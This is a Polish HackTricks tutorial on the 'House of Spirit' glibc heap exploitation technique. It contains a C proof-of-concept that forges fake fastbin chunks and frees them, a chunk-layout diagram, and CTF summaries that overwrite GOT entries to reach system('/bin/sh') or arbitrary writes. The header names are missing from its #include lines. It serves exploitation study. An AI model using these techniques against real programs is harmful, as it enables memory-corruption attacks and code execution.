House of Spirit
Last updated
Last updated
Ucz się i praktykuj Hacking AWS: HackTricks Training AWS Red Team Expert (ARTE) Ucz się i praktykuj Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Sprawdź plany subskrypcyjne!
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Cel
* Być w stanie dodać adres do tcache / fast bin, aby później można go było zaalokować
### Wymagania
* Ten atak wymaga, aby atakujący mógł stworzyć kilka fałszywych szybkich kawałków wskazujących poprawną wartość rozmiaru i następnie zwolnić pierwszy fałszywy kawałek, aby trafił do pojemnika.
### Atak
* Stwórz fałszywe kawałki omijające kontrole bezpieczeństwa: będziesz potrzebował 2 fałszywych kawałków, wskazujących w odpowiednich pozycjach poprawne rozmiary
* W jakiś sposób zwolnij pierwszy fałszywy kawałek, aby trafił do pojemnika fast lub tcache, a następnie zaalokuj go, aby nadpisać ten adres
**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **jest świetny do zrozumienia ataku.** Chociaż ten schemat z kodu dobrze go podsumowuje:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Należy utworzyć drugi kawałek w celu ominięcia pewnych kontroli poprawności.
Wyciek informacji z Libc: Poprzez przepełnienie możliwe jest zmienienie wskaźnika tak, aby wskazywał na adres GOT w celu wycieku adresu Libc poprzez akcję odczytu CTF
House of Spirit: Wykorzystując licznik, który zlicza liczbę "karabinów", możliwe jest wygenerowanie fałszywego rozmiaru pierwszego fałszywego kawałka, a następnie wykorzystanie "wiadomości", aby sfałszować drugi rozmiar kawałka, a następnie wykorzystanie przepełnienia, aby zmienić wskaźnik, który zostanie zwolniony, więc nasz pierwszy fałszywy kawałek zostanie zwolniony. Następnie możemy go zaalokować, a wewnątrz będzie adres, pod którym przechowywana jest "wiadomość". Następnie możliwe jest skierowanie tego do wpisu scanf
w tabeli GOT, dzięki czemu możemy nadpisać go adresem do systemu.
Następnym razem gdy zostanie wywołane scanf
, możemy wysłać wejście "/bin/sh"
i uzyskać dostęp do powłoki.
Wyciek Glibc: Niezainicjowany bufor stosu.
House of Spirit: Możemy zmodyfikować pierwszy indeks globalnej tablicy wskaźników na stercie. Za pomocą jednobajtowej modyfikacji używamy free
na fałszywym kawałku wewnątrz poprawnego kawałka, dzięki czemu po ponownej alokacji otrzymujemy sytuację nakładających się kawałków. Dzięki temu atak trucizny Tcache działa, aby uzyskać arbitralne pisanie.
Naucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Naucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)